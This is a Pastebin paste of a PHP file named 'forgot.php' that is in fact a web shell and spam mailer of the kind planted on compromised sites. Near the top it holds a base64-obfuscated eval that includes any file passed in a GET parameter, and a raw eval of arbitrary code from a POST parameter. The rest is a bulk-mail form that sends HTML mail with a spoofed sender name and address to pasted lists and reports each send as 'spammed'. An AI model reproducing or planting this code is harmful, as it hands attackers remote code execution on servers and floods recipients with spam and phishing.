PalmaSolutions

forgot.php

Apr 19th, 2018
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.89 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ignore_user_abort(true);
  5.  
  6. $in = $_GET['in'];
  7. if(isset($in) && !empty($in)){
  8.     echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=='));
  9.  
  10. }
  11. $ev = $_POST['ev'];
  12. if(isset($ev) && !empty($ev)){
  13.     echo eval(urldecode($ev));
  14.     exit;
  15. }
  16.  
  17. if(isset($_POST['action'] ) ){
  18. $action=$_POST['action'];
  19. $message=$_POST['message'];
  20. $emaillist=$_POST['emaillist'];
  21. $from=$_POST['from'];
  22. $subject=$_POST['subject'];
  23. $realname=$_POST['realname'];  
  24. $wait=$_POST['wait'];
  25. $tem=$_POST['tem'];
  26. $smv=$_POST['smv'];
  27.  
  28.         $message = urlencode($message);
  29.         $message = ereg_replace("%5C%22", "%22", $message);
  30.         $message = urldecode($message);
  31.         $message = stripslashes($message);
  32.         $subject = stripslashes($subject);
  33. }
  34.  
  35.  
  36. ?>
  37. <!-- HTML And JavaScript -->
  38.  
  39. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  40. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  41.  
  42. <head>
  43. <body bgcolor=\"black\" style="background-color: #CCCCCC">
  44. <meta http-equiv="Content-Language" content="en-us" />
  45. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  46. <title>.:| Ixfactor |::.</title>
  47. <style type="text/css">
  48. .style1 {
  49.     font-size: x-small;
  50. }
  51. .style2 {
  52.     direction: ltr;
  53. }
  54. .info {
  55.     font-size: 8px;
  56. }
  57. .style3 {
  58.     font-family: Verdana, Arial, Helvetica, sans-serif;
  59.     font-size: 8px;
  60. }
  61. .style4 {
  62.     font-size: x-small;
  63.     direction: ltr;
  64.     font-family: Verdana, Arial, Helvetica, sans-serif;
  65. }
  66. .style5 {
  67.     font-size: xx-small;
  68.     direction: ltr;
  69.     font-family: Verdana, Arial, Helvetica, sans-serif;
  70. }
  71. .auto-style1 {
  72.     color: #5F5F5F;
  73. }
  74. .auto-style2 {
  75.     color: #545454;
  76.     text-align: center;
  77. }
  78. .auto-style3 {
  79.     color: #4F4F4F;
  80. }
  81. .auto-style5 {
  82.     direction: ltr;
  83.     color: #4F4F4F;
  84. }
  85. .auto-style6 {
  86.     color: #BCBCBC;
  87.     background-color: #545454;
  88. }
  89. .auto-style7 {
  90.     color: #545454;
  91. }
  92. .auto-style8 {
  93.     font-size: x-small;
  94.     color: #545454;
  95. }
  96. </style>
  97. </head>
  98.  
  99. <body onload="funchange" style="background-color: #CCCCCC">
  100. <script>
  101.  
  102.     window.onload = funchange;
  103.     var alt = false;   
  104.     function funchange(){
  105.         var etext = document.getElementById("emails").value;
  106.         var myArray=new Array();
  107.         myArray = etext.split("\n");
  108.         document.getElementById("enum").innerHTML=myArray.length+"<br />";
  109.         if(!alt && myArray.length > 40000){
  110.             alert('If Mail list More Than 40000 Emails This May Hack The Server');
  111.             alt = true;
  112.         }
  113.        
  114.     }
  115.     function mlsplit(){
  116.         var ml = document.getElementById("emails").value;
  117.         var sb = document.getElementById("txtml").value;
  118.         var myArray=new Array();
  119.         myArray = ml.split(sb);
  120.         document.getElementById("emails").value="";
  121.         var i;
  122.         for(i=0;i<myArray.length;i++){
  123.            
  124.             document.getElementById("emails").value += myArray[i]+"\n";
  125.        
  126.         }
  127.         funchange();
  128.     }
  129.    
  130.     function prv(){
  131.         if(document.getElementById('preview').innerHTML==""){
  132.             var ms = document.getElementsByName('message').message.value;
  133.             document.getElementById('preview').innerHTML = ms;
  134.             document.getElementById('prvbtn').value = "Ocultar";
  135.         }else{
  136.             document.getElementById('preview').innerHTML="";
  137.             document.getElementById('prvbtn').value = "Preview";
  138.         }
  139.     }
  140.    
  141. </script>
  142.  
  143. <h1 class="auto-style2">.:| Sinou |::.</h1>
  144.  
  145. <center>
  146. <p class="auto-style1">&nbsp;</p></center>
  147.  
  148. <form name="form" method="post" enctype="multipart/form-data" action="">
  149.     <table width="100%" border="0">
  150.         <tr>
  151.             <td width="10%">
  152.             <div align="right" class="auto-style8">
  153.                 <font face="Verdana, Arial,
  154. Helvetica, sans-serif">Sender Email:</font></div>
  155.             </td>
  156.             <td style="width: 40%">
  157.             <font size="-3" face="Verdana, Arial, Helvetica,
  158. sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" class="auto-style6" /><br>
  159.             <td>
  160.             <div align="right" class="auto-style7">
  161.                 <font size="-3" face="Verdana, Arial,
  162. Helvetica, sans-serif">Sender Name:</font></div>
  163.             </td>
  164.             <td width="41%">
  165.             <font size="-3" face="Verdana, Arial, Helvetica,
  166. sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" class="auto-style6" />
  167.             <br>        </tr>
  168.         <tr>
  169.             <td width="10%">
  170.  
  171.         </tr>
  172.         <tr>
  173.             <td width="10%">
  174.             <div align="right" class="auto-style7">
  175.                 <font size="-3" face="Verdana, Arial,
  176. Helvetica, sans-serif">Subject:</font></div>
  177.             </td>
  178.             <td colspan="3">
  179.             <font size="-3" face="Verdana, Arial, Helvetica,
  180. sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="30" type="text" class="auto-style6" /> </font>
  181.            
  182.        
  183.         <tr valign="top">
  184.             <td colspan="3" style="height: 260px">
  185.             <font size="-3" face="Verdana, Arial, Helvetica,
  186. sans-serif"><textarea name="message" rows="10" style="width: 455px" class="auto-style6"><?php echo($message); ?></textarea>&nbsp;<br class="auto-style3" />
  187.             <input name="action" value="send" type="hidden" class="auto-style3" />
  188.             <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 81px" class="auto-style6" /><input value="Send" type="submit" class="auto-style6" /><span class="auto-style3">&nbsp;
  189.             </span><span class="auto-style7">Wait</span><span class="auto-style3">
  190.             </span>
  191.             <input name="wait" type="text" value="<?php echo($wait); ?>" size="8" class="auto-style6" /><span class="auto-style3">&nbsp;</span><span class="auto-style7">
  192.             seconds to send </span> </font></td>
  193.             <td width="41%" class="style2" style="height: 150px">
  194.             <font size="-3" face="Verdana, Arial, Helvetica,
  195. sans-serif">
  196.             <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6"><?php echo($emaillist); ?></textarea>
  197.             <br class="auto-style5" />
  198.             <span class="auto-style7">Quantity Emails : </span> </font><span  id="enum" class="style1">0<br class="auto-style3" />
  199.             </span>
  200.             <span  class="auto-style8">Divide the mailing list by:</span>
  201.             <input name="textml" id="txtml" type="text" value="," size="8" class="auto-style6" /><span class="auto-style3">&nbsp;&nbsp;&nbsp;
  202.             </span>
  203.             <input type="button" onclick="mlsplit()" value="Divide" style="height: 23px" class="auto-style6" /></td>
  204.         </tr>
  205.     </table>
  206.             <font size="-3" face="Verdana, Arial, Helvetica,
  207. sans-serif">
  208. <div id="preview">
  209. </div>
  210.     </font>
  211. </form>
  212.  
  213. <!-- END -->
  214.  
  215.  
  216. <?php
  217.  
  218. if ($action){
  219.  
  220.         if (!$from || !$subject || !$message || !$emaillist){
  221.            
  222.         print "Please complete all fields before sending your message.";
  223.         exit;  
  224.     }
  225.     $nse=array();
  226.     $allemails = split("\n", $emaillist);
  227.             $numemails = count($allemails);
  228.             if(!empty($_POST['wait']) && $_POST['wait'] > 0){
  229.                 set_time_limit(intval($_POST['wait'])*$numemails*3600);
  230.             }else{
  231.                 set_time_limit($numemails*3600);
  232.             }
  233.             if(!empty($smv)){
  234.                 $smvn+=$smv;
  235.                 $tmn=$numemails/$smv+1;
  236.             }else{
  237.                 $tmn=1;
  238.             }
  239.             for($x=0; $x<$numemails; $x++){
  240.                 $to = $allemails[$x];
  241.                 if ($to){
  242.                     $to = ereg_replace(" ", "", $to);
  243.                     $message = ereg_replace("#EM#", $to, $message);
  244.                     $subject = ereg_replace("#EM#", $to, $subject);
  245.                     flush();
  246.                     $header = "From: $realname <$from>\r\n";
  247.                     $header .= "MIME-Version: 1.0\r\n";
  248.                     $header .= "Content-Type: text/html\r\n";
  249.                     if ($x==0 && !empty($tem)) {
  250.                         if(!@mail($tem,$subject,$message,$header)){
  251.                             print('The test Post was not Submitted.<br />');
  252.                             $tmns+=1;
  253.                         }else{
  254.                             print('Your Message was Sent Test.<br />');
  255.                             $tms+=1;
  256.                         }
  257.                     }
  258.                     if($x==$smvn && !empty($_POST['smv'])){
  259.                         if(!@mail($tem,$subject,$message,$header)){
  260.                             print('The test Post was not Submitted.<br />');
  261.                             $tmns+=1;
  262.                         }else{
  263.                             print('Your Message was Sent Test.<br />');
  264.                             $tms+=1;
  265.                         }
  266.                         $smvn+=$smv;
  267.                     }
  268.                     print "$to ....... ";
  269.                     $msent = @mail($to, $subject, $message, $header);
  270.                     $xx = $x+1;
  271.                     $txtspamed = "spammed";
  272.                     if(!$msent){
  273.                         $txtspamed = "error";
  274.                         $ns+=1;
  275.                         $nse[$ns]=$to;
  276.                     }
  277.                     print "$xx / $numemails .......  $txtspamed<br>";
  278.                     flush();
  279.                     if(!empty($wait)&& $x<$numemails-1){
  280.                             sleep($wait);
  281.                     }
  282.                 }
  283.             }
  284.  
  285. }
  286.  
  287.  
  288. ?>
  289. <br>
  290. <br>
  291. <br>
  292. <br>
  293. <br>
  294. <br>
  295. </span>
  296. </body>
  297. </html>
Advertisement
Add Comment
Please, Sign In to add comment